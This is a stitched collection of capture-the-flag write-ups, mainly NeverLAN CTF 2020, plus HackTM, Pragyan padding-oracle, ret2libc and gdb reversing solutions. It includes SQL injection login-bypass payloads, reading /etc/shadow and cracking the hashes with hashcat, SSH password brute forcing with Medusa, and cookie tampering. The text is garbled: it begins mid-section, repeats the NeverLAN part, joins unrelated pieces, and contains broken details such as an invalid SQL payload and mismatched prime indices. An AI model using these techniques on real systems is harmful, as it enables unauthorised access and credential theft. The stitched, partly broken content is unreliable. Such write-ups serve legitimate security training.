The result is morse code. Now all we have to do is open up a text editor, copy the morse code down, and convert it to text using an online tool (:
The short ones are dits and the long ones are dahs. I usually represent the short ones with `.` and the long ones with `-`, which is a format most online morse-to-text tools use as well.
That would be the first letter in the text.
### Open BackpackThe image says something is unzipped...Let's try `binwalk`.
Command: `binwalk -e openbackpack.jpg`
Binwalk extracts two files, a zip and a file called `flag.png`, which has the flag of course.
### Look into the pastWe download and unzip it. It seems they just compressed a system's directories from / and gave it to us...
We `cd` into the home directory for the user (`/home/User/`). Nothing seems interesting except for a `.bash_history` file, which reveals that they encrypted a flag using a concatenation of 3 passwords. We have to find the 3 passwords to decrypt the encrypted flag.
Password 1:It's in an image in `~/Pictures`. We use strings and find the signature for `steghide`. We can use `steghide extract -sf doggo.jpeg`. It takes a bit more guesswork to guess that there is no password. The password is in the extracted text file.
Password 2:The password is the password to the user named `user`. We read `/etc/shadow/`, and find the password.
Password 3:We first uncompress the `table.db.tar.gz` inside `/opt`.
Let's get everything from `table.db`: `sqlite3 table.db "SELECT * FROM passwords"`. This gives us the third password.
Now that we have all 3 passwords, we can decrypt the encrypted text file using `openssl enc -aes-256-cbc -d -in flag.txt.enc -out file.txt`. We supply the concatenation of the 3 passwords, and we read `file.txt` for the decrypted flag.
## Programming### DasPrimeWe want to find the 10947th prime number. We are given the following algorithm:```pythonimport mathdef main(): primes = [] count = 2 index = 0 while True: isprime = False for x in range(2, int(math.sqrt(count) + 1)): if count % x == 0: isprime = True continue if isprime: primes.append(count) print(index, primes[index]) index += 1 count += 1if __name__ == "__main__": main()```
This algorithm seems kind of slow...
We can write a faster script such as this one:```pythonfrom math import sqrt
def is_prime(n): if (n <= 1): return False if (n == 2): return True if (n % 2 == 0): return False
i = 3 while i <= sqrt(n): if n % i == 0: return False i = i + 2
return True
def prime_generator(): n = 1 while True: n += 1 if is_prime(n): yield n
generator = prime_generator()
x = []
for i in range(10948): x.append(next(generator))```
We access the 10497th element of `x` to get the flag (x[10496]).
### password_crackSimple MD5 brute force. I got the author names from the Discord server.
### Robot TalkWe just have to convert 5 base64 values to ASCII.
I used pwntools, a pretty neat library for tasks like these.
```pythonfrom pwn import *import base64
conn = remote("challenges.neverlanctf.com", 1120)
for i in range(5): print(conn.recvuntil("decrypt: ")) x = conn.recv().strip() print(x) y = base64.b64decode(x) print(y) conn.send(y) print(conn.recvline())
print(conn.recv())```### BitsnBytes> https://challenges.neverlanctf.com:1150
This site gives an svg which we can download. Quite obviously, the colors represent `0` and `1` in binary (gray is 1, green is 0).
We find out that we can download the svg information directly from `/svg.php`, which makes it much easier for a script.
We parse the image, using regex to remove all different attributes such as x, y, width, and height for each `<rect>` in the svg. Then, we simply just use `str.replace()` in Python to get the binary string.
Then we convert that binary string into text.
However, most of the time the server will return an svg that doesn't have the flag. Instead, it will return some time hash information which is useless to us.
We can repeatedly query the server for an svg until it gives us a flag svg.
```from __future__ import print_function
import requests
while True: f = requests.get("https://challenges.neverlanctf.com:1150/svg.php").text.decode()
f = f[336:-9]
f= f.strip()
import re
s = re.compile(r"\sid='\d*'") a = re.compile(r"\sx='\d*'") b = re.compile(r"\sy='\d*'")
c = re.compile(r"width='\d*' ") d = re.compile(r"height='\d*' ")
f = s.sub("", f) f = a.sub("", f) f = b.sub("", f) f = c.sub("", f) f = d.sub("", f)
#print(f)
f = f.replace("<rect style='fill:#333136'/>", "1") f = f.replace("<rect style='fill:#00ff00'/>", "0")
f = [f[i:i+8] for i in range(0, len(f), 8)]
#print(f)
x = "".join([chr(int(i, 2)) for i in f])
if not "time hash:" in x: print(x)```
### Evil> ssh [email protected] -p 3333> password: eyesofstone
We initially find an intel.txt, giving us information. We have to ssh onto `evil@victim`.
Using Medusa (an ssh password cracker), we can bruteforce the password easily. It is `0024`.
Once ssh'd, we find a zip file with some base64 as its name. It's password protected, so we try decoding the name.
Decoded, the name of the zip file is `stonecold`, which is used to unzip the zip file.
The content of the zip file is the flag.
## Recon### Front page of the InternetThe "front page of the Internet" is Reddit.The author is `ZestyFE`, so we guess that he has a Reddit account under the same name.
We navigate to `/u/ZestyFE` on Reddit, and find the flag in one of ZestyFE's comments.
### The Big StageWe search up SaintCon keynotes and find that NeverLAN keynoted in 2018
Unfortunately the SaintCon site is not 100% functional so we're stuck...
Then we guses that keynoting a conference is pretty cool and they must have posted something to commemorate the event on [their Twitter](https://twitter.com/NeverLanCTF).
They actually link us [their slides](https://twitter.com/NeverLanCTF/status/1044640438131388422)
The flag is right next to a picture of Rick Astley :p
### The LinkDuring the competition there were streams for music and the like. If we go under their music tab and select track #2 we see a YouTube video.
Exploring the comments reveals a flag that someone commented.
### Thats just PhreakyWe Google for `01 September 2017 | 14:01 phreak`.
We find the first [Darknet Diaries episode](https://darknetdiaries.com/episode/1/).
By some stroke of pure geniosity we right click to view the source code of the site and the flag is at the bottom.
## Web### Cookie Monster> https://challenges.neverlanctf.com:1110
The title hints that it has something to do with cookies.
When we visit the site, it says `He's my favorite Red guy`. We guess this to be `Elmo` from Sesame Street.
We look at the cookies, and find a cookie `Red_Guy's_Name: NameGoesHere`. We replace `NameGoesHere` with `elmo`.
We get the flag by refreshing the tab.
### Stop the Bot> https://challenges.neverlanctf.com:1140
The site looks pretty boring, so let's take a look at `/robots.txt`, which is hinted at by the title:```User-agent: *Disallow: /Disallow: flag.txt```
We navigate to `/flag.txt` for the flag.
### SQL Breaker> https://challenges.neverlanctf.com:1160/
Simple SQL injection in the login page.Note that the password does not matter, only the username is vulnerable.
The goal is to log in as an admin.
Payload:```Username: ' OR 1=1;-- Password: asdf```
Return to the home page for the flag.
### SQL Breaker 2> https://challenges.neverlanctf.com:1165/
Simple SQL injection in the login page.Note that the password does not matter, only the username is vulnerable.
The goal is to log in as an admin.
This time, there seems to be multiple accounts, and the previous payload logs us in as `John`, who is not an admin. We have to skip over John's account using SQL's `LIMIT` to log in as admin.
Payload:```Username: ' OR 1=1, LIMIT 1;-- Password: asdf```
Return to the home page for the flag.
### Follow Me> https://7aimehagbl.neverlanctf.com
This website redirects so many times your browser just gives up. We can use Python's `requests` module and the `follow_redirects=False` option:```pythonimport requestsp = requests.get("https://7aimehagbl.neverlanctf.com", allow_redirects=False)```On the first visit (using Python), the page states where it's redirecting. How convenient. How about we just follow the trail?
```pythonimport requests
url = "https://7aimehagbl.neverlanctf.com"
while True: p = requests.get(url, allow_redirects=False) print(p.text) url = "https://" + p.text.split()[-1]```
The flag is in one of the sites that we get redirected to.
### Browser Bias> https://challenges.neverlanctf.com:1130
When we try to visit the site normally, it says that the site is only for `commodo 64` browsers.
We guess that the server tells what browser we are using based on the User-Agent header of the request.
When we Google for Commodo 64 browsers, we end up with a browser named `Contiki`. We search for the Contiki User-Agent.
We find a [really long list of User-Agents](https://gist.github.com/dstufft/2502524) that ever downloaded something from PyPI on GitHub Gists, and we Ctrl-F for Contiki.
We find the User-Agent for Contiki as `Contiki/1.0 (Commodore 64; http://dunkels.com/adam/contiki/)`.
We set that as our User-Agent using Python's `requests`, and request the home page, which gives us the flag.
## Chicken LittleWe basically have to ssh onto a server and retrieve the flag from it. We start from Chicken Little 1. We use the flag from Chicken Little 1 as the password for the ssh onto Chicken Little 2, etc.
### Chicken Little 1Use an `ls` and find `Welcome.txt`.Read the file for the flag.
### Chicken Little 2Use an `ls -a` (-a flag to show hidden files) and find `.chicken.txt`.Read the file for the flag.
### Chicken Little 3We find `BAWK.txt` with a bunch of "BAWK"s in it. Knowing the password format we guess that this password also has a `-` in it, so we grep for `-` in the file for the flag.
### Chicken Little 4We find a binary file with the flag presumably hidden in it. We can use `strings` to first extract the printable strings, then grep for `-` in it, which gives the flag.
### Chicken Little 5We can use `binwalk -e` to extract files from the file, giving us a file with the flag.
### Chicken Little 6We can use `scp` to transfer the file to our local machine since `curl` was removed.
`scp -P 3333 [email protected]:~/chicken-little.png .`
The flag is visible in the image.
### Chicken Little 7We are told we need to find the password to the user `level7` on the system. We read `/etc/shadow` for the `level7` password hash.
We generate a wordlist of all possible 4-character combinations using `crunch 1 4 > pass.txt`.
We can use `hashcat -m 1800 -a 0 h.hash pass.txt` to eventually break the hash (it was supposed to take ~15 minutes).
I used a brute-force script on a remote server because my 2011 mac really did not like running SHA512 a lot of times.
## Trivia### Milk Please> Trivia Question: a reliable mechanism for websites to remember stateful information. Yummy!>It's talking about cookies, which is the flag.### Professional Guessing> The process of attempting to gain Unauthorized access to restricted systems using common passwords or algorithms that guess passwords
Google the description.
An article defines the description for the term "password cracking", which is the flag.### Base 2^6> A group of binary-to-text encoding schemes that represent binary data in an ASCII string format by translating it into a radix-64 representation
`Radix-64` basically tells us that the flag is base64.
### AAAAAAAAAAAAAA! I hate CVEs> This CVE reminds me of some old school exploits. If flag is enabled in sudoers
We Google `If flag is enabled in sudoers cve` and find [this site](https://www.exploit-db.com/exploits/47995), which has the flag in it.
### Rick Rolled by the NSA> This CVE Proof of concept Shows NSA.go<span>v</span> playing "Never Gonna Give You Up," by 1980s heart-throb Rick Astley.Use the CVE ID for the flag. flag{CVE-?????????}
I remember seeing this as a meme on Reddit :laughing:Googling the description gives news articles detailing the correct CVE ID for the flag. |
## Cubeworld #1 writeup:
Challenge information:
The 80's called. They left a very strange message.
Submit the flag in this format:HackTM{words_you_find}
We start by downloading the challenge files: challenge_files_1.zip.Unzipping this gives us multiple files:
```.├── c│ ├── 1.mp4│ ├── 2.mp4│ ├── 3.mp4│ ├── 4.mp4│ └── 5.mp4├── key│ ├── key_1.png│ ├── key_2.png│ ├── key_3.png│ ├── key_4.png│ ├── key_5.png│ └── key_6.png└── words.txt```
When looking for the first time at the challenge, you could see that this was about Rubik's cubes. Now it's up to you: find a rubik's cube program to solve this or do it manually...If you chose the second option, congrats! Now go turn your room inside out and find that dusty cube, it's cubing time!
The "c" directory contains 5 videos which probably represent the 5 encrypted words. The "key" directory contains the 6 faces of the cube. Each face has letters facing different directions. The directions are very important, you'll see why when we get to the decoding part! words.txt is just a wordlist that allows to restrain all the possible outcomes of the cube.
#### Step 1
We started by mapping the color configuration of the cube on an online cube solver. 
Once this was done, the solver gave us the steps to get to a solved cube. Sweet! We reverse the operation and end up with the exact same cube as the pictures in the key folder. We then proceeded to write each letter on the cube and still using the online solver, we put the cube back into a solved state.
### Step 2
Looking at each video, we saw that rotations were performed. We figured out that each rotation represents a letter, constructing a word.For each video, you have to start from a solved cube and read the letters in the direction of the rotation. For instance, the first rotation of the first video gives the letter {W} 
and the second rotation generates the letter {E}.
"we" is a valid word in words.txt, we thus have our first word.
For some videos we had multiple letters for one rotation. A very simple solution for this is performing a regex search in words.txtFor instance in videos 5.mp4, we get a 7 letter word composed of the following letters: {A,E,D}{N}{G,K}{I}{N}{B,Y,E,D,L}{S}. This translates as \[aed\]\[n\]\[gk\]\[i\]\[n\]\[byedl\]\[s\] in regex form.Only one word can be found in the wordlist with this regex: engines.
Going through the 5 videos, you get the following sentence: we need more rotary engines.
The flag is HackTM{we_need_more_rotary_engines} |
The challenge is made up of an image with stylized men dancing.
Searching online we found the cipher used: "dancing men".With: https://www.dcode.fr/dancing-men-cipherthe original text is:
```It was indeed like old times when at that hour I found myself seated beside him in a hansommy revolver in my pocket and the thrill of adventure in my heart Holmes was cold and stern and silent As the gleam of the street lamps flashed upon his austere features I saw that his brows were drawn down in thought and his thin lips compressed I knew notwhat wild beast we were about to hunt town in the dark jungle of criminal London but I was well as sured from the bear in gof this master hunts man flag disco in Saratov that the adventure was a most grave one while the sardonic smile which occasionally broke through his ascetic gloom boded little good for the object of our quest```# FLAG```FLAG{disco_in_Saratov}``` |
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# Hide and seek (150 pts)
We were given a 64bit dynamically linked binary.
protections:
```CANARY : disabledFORTIFY : disabledNX : ENABLEDPIE : ENABLEDRELRO : FULL```
After execution it gives this output:
```--- --- --- ---|5| |5| |b| |d|--- --- --- ---
YOU ARE HERE O --- --- --- ---|5| |9| |7| |0|--- --- --- ---```
I loaded it in IDA pro and the main function is calling a function named ```gps```. This function is printing the first 4 bytes of its pointer.
And we can clearly identify a buffer overflow vulnerability (line 34) it's calling scanf with "%s".
Also we can find a function named "found" it just prints the flag to stdout.
So the first approach is to brute force the missing byte of that function since we know its last byte from the offset. But for some reason it didn't work on the server and works locally tho...
The second approach is to use the same technique but this time we will calculate the addresses of ```puts in plt```, ```pop rdi ; ret``` and ```pop rsi ; pop r15 ; ret``` gadgets and the ```got entry``` for a function i used exit in my exploit.
Then we can leak exit's libc address in order to calculate the addresses of system and "/bin/sh" string and make a typical ret2libc exploit.
(exploit attached) |
# AskTheOracle Writeup
### Pragyan CTF 2020 - crypto 150
> Mr Robot has worked all night to find the Cipher "TIe8CkeWpqPFBmFcIqZG0JoGqBIWZ9dHbDqqfdx2hPlqHvwH/+tbAXDSyzyrn1Wf" then he faints of Overdose. You are left with a challenge to get the key to the database before EVIL CORP starts backing up the data.> `nc ctf.pragyan.org 8500`> P.S- After solving you will get a flag in the format of pctf{code}, change it to p_ctf{code} and submit it.
#### Oracle Padding Attack
It is a traditional [oracle padding attack(OPA)](https://en.wikipedia.org/wiki/Padding_oracle_attack). To apply the attack,
0. Obviously get ciphertext - Given at the description of the challenge, encoded in base641. Leak block size - Can be found by sending various length of inputs and observing responses. - `SIZE = 16`2. Leak initialization vector(`iv`) - This was included in server response, encoded by base64. - `iv_default = "This is an IV456"`3. Confirm the [block mode of operation](https://en.wikipedia.org/wiki/Block_cipher_mode_of_operation) is CBC. - Checked by sending intentionally malformed `iv|ct` pairs.4. Check server response behavior is vulnerable for attack. Needed for information leakage. - Wrong padding - Correct data - Cipher error
Reason of why OPA works will be not introduced here. Check [here](https://robertheaton.com/2013/07/29/padding-oracle-attack/) for detailed explanation. The total ciphertext length was `48` bytes, and we need 256 queries per leaking bytes. Therefore, we need at most `48 * 256` queries. Each query took about more than `0.5`s, and it took quite a time to leak the whole flag. With patience and time, I get the flag:
```pctf{b@d_p@nd@s_@r3_3v3rywh3r3_c@tch}```
Exploit code: [solve.py](solve.py)
|
# ghost-in-the-system
## Description
```I think my ls is being haunted... the colors are all weird!!! What's that? It's highlighting things?! Where!!?```
### Hints
```Flag is 100 characters long.It starts with rtcp{ and ends with }The first character is w```
```The flag is written in standard leet, the only exceptions are the flag wrapping (rtcp{}) and underscores (_)```
## Walkthrough
First, let's open the provided `ls` binary in IDA. After the initial analysis, check out the `main` function. We see an interesting stack variable: `flg`.
```flg= byte ptr -80h```
This is worth looking into. Highlight `flg` and press `x` to view cross references to `flg`.
We see 100 writes and two reads. Interesting. Our first hint told us the flag is 100 characters long. Let's take a closer look at these writes. Double-click on the first xref to end up at address `main+145`.
```main+145 lea rax, [rbp+__for_end]main+14C mov rdi, raxmain+14F call __ZNSaIcEC1Ev ; std::allocator<char>::allocator(void)main+154 lea rdx, [rbp+__for_end]main+15B lea rax, [rbp+otxt]main+162 lea rsi, aSYvzezqr6x45jx ; "s}yvzezqr_6x45jx2yp4d38qq1mvnsl0u7w32lr"...main+169 mov rdi, raxmain+16C call __ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEC1EPKcRKS3_ ; std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::basic_string(char const*,std::allocator<char> const&)main+171 lea rax, [rbp+__for_end]main+178 mov rdi, raxmain+17B call __ZNSaIcED1Ev ; std::allocator<char>::~allocator()main+180 lea rax, [rbp+otxt]main+187 mov esi, 1F0hmain+18C mov rdi, raxmain+18F call __ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEixEm ; std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::operator[](ulong)main+194 movzx eax, byte ptr [rax]main+197 mov [rbp+flg], almain+19A lea rax, [rbp+otxt]main+1A1 mov esi, 192hmain+1A6 mov rdi, raxmain+1A9 call __ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEixEm ; std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::operator[](ulong)main+1AE movzx eax, byte ptr [rax]main+1B1 mov [rbp+flg+1], almain+1B4 lea rax, [rbp+otxt]main+1BB mov esi, 322hmain+1C0 mov rdi, raxmain+1C3 call __ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEixEm ; std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::operator[](ulong)main+1C8 movzx eax, byte ptr [rax]main+1CB mov [rbp+flg+2], al
; etc...
```
So what is this code doing? It seems like it is first initializing a C++ `std::string` object at `[rbp+otxt]` with the string stored at `aSYvzezqr6x45jx`. If we follow this location in the binary, we will see a long string of seemingly random characters:
Then, it begins to make many calls to the `[]` operator of the `std::string` object at `[rbp+otxt]`, with seemingly random offsets, storing each result to an increasing offset from `[ebp+flg]`. So the code effectively becomes something like:
```flg[0] = otxt[496]; // 1f0hflg[1] = otxt[402]; // 192hflg[2] = otxt[802]; // 322h// etc...```
At this point, we could write a script to assemble a flag by pulling the appropriate offset from the "random" text for each index of our flag. An easier way would be to use a decompiler to generate C code, reformat as necessary, and print the assembled flag. These would both, of course, be tedious and time-consuming processes. There is a better way.
Remember the reads to `[rbp+flg]`?
Let's check out the first one. Double-click on it to jump here:
```main+BB2 lea rdx, [rbp+flg]main+BB6 lea rax, [rbp+str]main+BBD mov rsi, rdx ; __rhsmain+BC0 mov rdi, rax ; __lhsmain+BC3 call _ZSteqIcSt11char_traitsIcESaIcEEbRKNSt7__cxx1112basic_stringIT_T0_T1_EEPKS5_ ; std::operator==<char,std::char_traits<char>,std::allocator<char>>(std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>> const&,char const*)main+BC8 test al, almain+BCA jz short loc_1D2F```
Here we see where the assembled "real" flag at `[rbp+flg]` is being compared with a string we've supposedly entered, at `[rbp+str]`. If we jump into a debugger and set a breakpoint at `main+0xbb6`, the "real" flag should conveniently be sitting at an address pointed to by `rdx`. But there's still one small problem: we need to ensure execution actually reaches this block of code.
So let's fire up `gdb`. Set a breakpoint on the `main` function with `b *main`. Run the program with `run`, and we arrive at the beginning of the `main` function.
We need to `jump` to the instructions that build the flag, but first we need to ensure that our stack is set up correctly. Using `n`, step through the first few lines of the `main` procedure. Stepping until the `call opendir` is more than enough.
Now, set a breakpoint at the beginning of the code block that builds the flag: `b *main+0x145`. Jump to the same instruction with `jump *main+0x145`. Next, set a breakpoint directly after a pointer to our "real" flag is stored in `rdx`: `b *main+0xbb6`. Now `continue`.
When `gdb` reaches our breakpoint, a pointer to the flag string will be stored in `rdx`. Simply use `x/s $rdx` and our flag will be printed for us!
```> x/s $rdx0x7fffffffe2f0: "rtcp{wh37h3r_1n4n1m473_f16ur35_0r_un4u7h0r1z3d_c0d3_7h3r35_4lw4y5_4_6h057_1n_7h3_5y573m_1056_726_00}UU"```
There are a few extra junk characters printed after the flag. No problem. Simply remove the extra characters and submit. |
# NeverLAN CTF 2020Start: Sat, Feb 8 2020, 10:00 AM EST
End: Tue, Feb 11 2020, 7:00 PM EST
# Placing- [Students](student_scoreboard.png): 1st (max score)- General: 31st
# ReviewThis weekend I played in NeverlanCTF as the solo team `bosh`. The challenges were alright, although many of them were just guessing.
I didn't like how they did not announce challenge drops before they actually released them, and how the platform went down after the last wave of challenge releases.
# Writeups## Table of contents| Challenge Name | Category | Points ||:-:|:-:|:-:|| [Adobe Payroll](#adobe-payroll) | Reverse Engineering | 100 || [Script Kiddie](#script-kiddie) | Reverse Engineering | 100 || [Reverse Engineer](#reverse-engineer) | Reverse Engineering | 200 || [Pigsfly](#pigsfly) | Cryptography | 30 || [BaseNot64](#basenot64) | Cryptography | 50 || [Don't Take All Knight](#don't-take-all-knight) | Cryptography | 75 || [The Invisibles](#the-invisibles) | Cryptography | 75 || [Stupid Cupid](#stupid-cupid) | Cryptography | 100 || [My Own Encoding](#my-own-encoding) | Cryptography | 200 || [BabyRSA](#babyrsa) | Cryptography | 250 || [CryptoHole](#cryptohole) | Cryptography | 250 || [It is like an onion of secrets](#it-is-like-an-onion-of-secrets) | Cryptography | 300 || [Unsecured Login](#unsecured-login) | PCAP | 50 || [Unsecured Login2](#unsecured-login2) | PCAP | 75 || [FTP](#ftp) | PCAP | 100 || [Teletype Network](#teletype-network) | PCAP | 125 || [hidden-ctf-on-my-network](#hidden-ctf-on-my-network) | PCAP | 250 || [Listen to this](#listen-to-this) | Forensics | 125 || [Open Backpack](#open-backpack) | Forensics | 150 || [Look into the past](#look-into-the-past) | Forensics | 250 || [DasPrime](#dasprime) | Programming | 100 || [password_crack](#password_crack) | Programming | 100 || [Robot Talk](#robot-talk) | Programming | 200 || [BitsnBytes](#bitsnbytes) | Programming | 200 || [Evil](#evil) | Programming | 200 || [Front page of the Internet](#front-page-of-the-internet) | Recon | 50 || [The Big Stage](#the-big-stage) | Recon | 75 || [The Link](#the-link) | Recon | 75 || [Thats just Phreaky](#thats-just-phreaky) | Recon | 200 || [Cookie Monster](#cookie-monster) | Web | 10 || [Stop the Bot](#stop-the-bot) | Web | 50 || [SQL Breaker](#sql-breaker) | Web | 50 || [SQL Breaker 2](#sql-breaker-2) | Web | 75 || [Follow Me!](#follow-me) | Web | 100 || [Browser Bias](#browser-bias) | Web | 150 || [Chicken Little 1](#chicken-little-1) | Chicken Little | 35 || [Chicken Little 2](#chicken-little-2) | Chicken Little | 36 || [Chicken Little 3](#chicken-little-3) | Chicken Little | 37 || [Chicken Little 4](#chicken-little-4) | Chicken Little | 38 || [Chicken Little 5](#chicken-little-5) | Chicken Little | 39 || [Chicken Little 6](#chicken-little-6) | Chicken Little | 40 || [Chicken Little 7](#chicken-little-7) | Chicken Little | 100 || [Milk Please](#milk-please) | Trivia | 10 || [Professional Guessing](#professional-guessing) | Trivia | 10 || [Base 2^6](#base-2^6) | Trivia | 10 || [AAAAAAAAAAAAAA! I hate CVEs](#aaaaaaaaaaaaaa!-i-hate-cves) | Trivia | 20 || [Rick Rolled by the NSA???](#rick-rolled-by-the-nsa) | Trivia | 50 |
## Reverse Engineering### Adobe PayrollOnce we unzip with 7z we end up with two files:`description.MD``Adobe_Employee_Payroll.exe`
`description.MD` hints towards a software called [DotPeek](https://www.jetbrains.com/decompiler/).
DotPeek decompiles (read: translates to semi human readable code) .NET files, such as our .exe file. After we open `Adobe_Employee_Payroll.exe` up, we can explore the files:
Double clicking on something seems like a good idea. Now we can see the decompiled code for something that looks important:As you can see, `r1`, `r2`, `r3` and so (till `r38`) on seem to be holding integers. They seem like they're ASCII values... and they are!
Without even looking at the rest of the program, we can find the flag by converting all the values from `r1` through `r38` to letters.
### Script KiddieThe "encrypted" `encrypted_db` is really just a bunch of base64 strings, which are then encoded using hex.
We can decode by using this script:```pythonfrom base64 import b64decode
f = open("encrypted_db").read().strip().replace("\n", "").decode("hex")
f = b64decode(f.strip())
print(re.findall(r'flag{.+?}', f))```
Running the script gives the flag.
### Reverse EngineerLet's open it up in Ghidra.We scroll until we find a cool looking function called `print`. It seems to be building a string from hex values.
Converting all those from hex to ASCII gives the flag.
## Cryptography### PigsflyBasic substitution cipher, using the pigpen cipher alphabet.
Decrypting gives the flag.
### BaseNot64As from the title, the data is not in base 64. We play around with the different encodings in [cyberchef](https://gchq.github.io/CyberChef/).
Noticing that there are only capital letters / symbols in the plaintext, we can probably guess that the base will be relatively small. We try to decode it as a base 32 string, and it works.
Decoding gives the flag.
### Don't Take All KnightAnother basic substitution cipher, using the Knights Templar Code cipher. Decode.f<span>r</span> has a [nice solver](https://www.dcode.fr/templars-cipher).
Decrypting gives the flag.
### The InvisiblesYet another basic substitution cipher, using the Arthurs and the Invisibles alphabet. Decode.f<span>r</span> has a [nice solver](https://www.dcode.fr/arthur-invisibles-cipher).
Decrypting gives the flag.
### Stupid CupidGoogling `Cupid cipher` gives us some results about how James Madison hid his plaintexts in some text using numbers.
When we count the amount of numbers in the ciphertext at the top of the file, we find that it is equal to the amount of rows there are, and the highest number in the ciphertext does not exceed the number of columns :eyes:
We then guess that each row corresponds to a character of the plaintext, and each number in the ciphertext is the corresponding column to pick from.
For example:The first number in the ciphertext is `6`. The character at the first row, 6th column is `V`.Then, the second number in the ciphertext is `12`. The character at the second row, 12th column is `E`.
Continue to get the flag.
### My Own EncodingWe are presented with 16 5x5 grids, each with a single box blacked out.Shot in the dark.We reason that since it is 5x5, there are 25 choices which is close enough to 26 (letters of the alphabet).
We assume the top left represents the letter A, and the next one to the right represents B, and so on.
Doing so, we get `MHBDI...`, until we reach the 12th box. There is no marking here! Another shot in the dark. We assume that no marking represents the letter `A`.
Thus, our previously transcribed "plaintext" has to be Caesar shifted by 1 to get the flag, easy enough.
### BabyRSAQuestionable RSA. I didn't know what to do with the numbers since they were spaced out. I finally guessed they were individual characters of the flag and successfully decrypted them as such.
Using [factordb](http://factordb.com/), we can factor `n` into `17 * 149`, obviously the p and q for this challenge.
Now, using modified code from [a StackExchange article](https://crypto.stackexchange.com/questions/19444/rsa-given-q-p-and-e), we can decrypt the flag character by character.
```python# Function from Geeks for Geeksdef modInverse(a, m): m0 = m, y = 0, x = 1 if (m == 1): return 0 while (a > 1) : q = a // m t = m m = a % m a = t t = y y = x - q * y x = t if (x < 0): x += m0 return x
def decrypt(ct): p = 17 q = 149 e = 569
# compute n n = p * q
# Compute phi(n) phi = (p - 1) * (q - 1)
# Compute mult mod inv of e d = modInverse(e, phi)
# Decrypt ciphertext pt = pow(ct, d, n) print(chr(pt), end="")
chall = "2193 1745 2164 970 1466 2495 1438 1412 1745 1745 2302 1163 2181 1613 1438 884 2495 2302 2164 2181 884 2302 1703 1924 2302 1801 1412 2495 53 1337 2217".split()
# this is probably bad practice but it workslist(map(lambda x: decrypt(int(x)), chall))```
### CryptoHoleBasically just a bunch of ciphers. Each level has a chal.txt which contains an encrypted password, and a password-protected zip file for the next layer.
Here is the order:
Layer 1 -`A ffine Cipher here 3`:- Affine Cipher- Brute force- Password is `AfvqPZW0bDMB&HTfzo`
Layer 2 - `Two is better than one`- Double Transposition Cipher- Both keys are `NEVERLANCTF`- Ciphertext decrypts to `PASSWORDV78DTNRI6KBD3SDFQXXXXXXXX`- Password is `V78DTNRI6KBD3SDFQ`
Layer 3 - `I'm on the fence with this one`- Rail Fence Cipher:- Brute force- `password:·VSEAS5aevg8Bwlovr`
Layer 4 - `Salad Time`- Keyed Caesar Cipher- Key is `neverLANCTF`- Shift is `0`- Password is `gTLvCGk$HyRVSssXVaSX`
Layer 5 - `ROTten`- Standard Caesar Cipher- Shift is `13`- Password is `e1Ydr*zxOOybF6RR%h5f`
Layer 6 - `Vigenere Equivent E`- Standard Caesar Cipher- Shift is `22`- Password is `fI7BPZL#ZN5PI!&pbTXc`
Layer 7 - `Easy one`- Base64 encoded string- Password is `vxw@Ztet#ZfBnYVxJ1IM`
Layer 8 - `Message indigestion`- MD5 digest- Brute force- Password is `password23`
Layer 9 - `For SHA dude`- SHA1 digest- Brute force- Password is `applez14`
Layer 10 - `ONE more TIME`- One Time Pad- First part of key is `This is our world now...` from `chal.txt` - Hints to a section from the Hacker Manifesto- Full key is: `This is our world now... the world of the electron and the switch, thebeauty of the baud. We make use of a service already existing without payingfor what could be`- Decrypt the OTP to get the flag
### It is like an onion of secretsWe get download the png image. In it is a funky lookin dog with no flag :(
We guess it is LSB encrypted since Binwalk doesn't return anything useful.
We plug it into [stylesuxx's LSB tool](https://stylesuxx.github.io/steganography) and we decode.
We get some base64, which we now play with a bunch in [CyberChef](https://gchq.github.io/CyberChef/).
After we base64 decode it twice, we get a bunch of:`lspv wwat kl rljvzfciggvnclzv`
Now we guess again and decrypt it using the `Variant Beaufort Vigenere cipher` (found on Cryptii's Vigenere tool) and key `NeverLANCTF`. The plaintext gives the flag.
## PCAP### Unsecured LoginYou don't even need Wireshark, just use `strings mysite.pcap | grep flag`
### Unsecured Login2You don't even need Wireshark, just use `strings mysite2.pcap | grep flag`
### FTPYou don't even need Wireshark, just use `strings ftp.pcap | grep flag`If you want to, you can right click on any ftp packet and follow the tcp stream. If there's no flag, then move on to the next stream.
### Teletype NetworkYou don't even need Wireshark, just use `strings telnet.pcap | grep flag`
### hidden-ctf-on-my-networkYou don't even need Wireshark, just use `strings telnet.pcap | grep flag`
## Forensics### Listen to thisWhen we listen to the mp3 initially, we can hear a faint beeping in the background. This sounds like Morse code, so let's find an easy way to transcribe it to text dits and dahs (radio speak for dots and dashes).
We open it up in Audacity, and notice there are two tracks. Let's switch to spectrogram view. We can do this by clicking on the arrow pointing downwards next to the track name, then clicking `Spectrogram`:
If we zoom in on the beginning of the track, we can see that the Morse code is in the second track:
One huge issue right now is that the Morse code is "covered" by the actual vocals of the track. I was stuck on this portion for a while.
Let's split the tracks to mono using the track settings.
Then, we subtract the original track from the track with morse code. After that, we'll be able to clearly see the morse code in spectrogram view.
First, we select one track, and invert it (`Effect > Invert`). Then, we select both tracks and mix them together (`Tracks > Mix > Mix and Render`).
It's still a bit hard to see, so let's change the coloring.
We open up track settings and then select `Spectrogram Settings`. We change the color range to 20 dB instead of 80 dB (decibels).
The result is morse code. Now all we have to do is open up a text editor, copy the morse code down, and convert it to text using an online tool (:
The short ones are dits and the long ones are dahs. I usually represent the short ones with `.` and the long ones with `-`, which is a format most online morse-to-text tools use as well.
That would be the first letter in the text.
### Open BackpackThe image says something is unzipped...Let's try `binwalk`.
Command: `binwalk -e openbackpack.jpg`
Binwalk extracts two files, a zip and a file called `flag.png`, which has the flag of course.
### Look into the pastWe download and unzip it. It seems they just compressed a system's directories from / and gave it to us...
We `cd` into the home directory for the user (`/home/User/`). Nothing seems interesting except for a `.bash_history` file, which reveals that they encrypted a flag using a concatenation of 3 passwords. We have to find the 3 passwords to decrypt the encrypted flag.
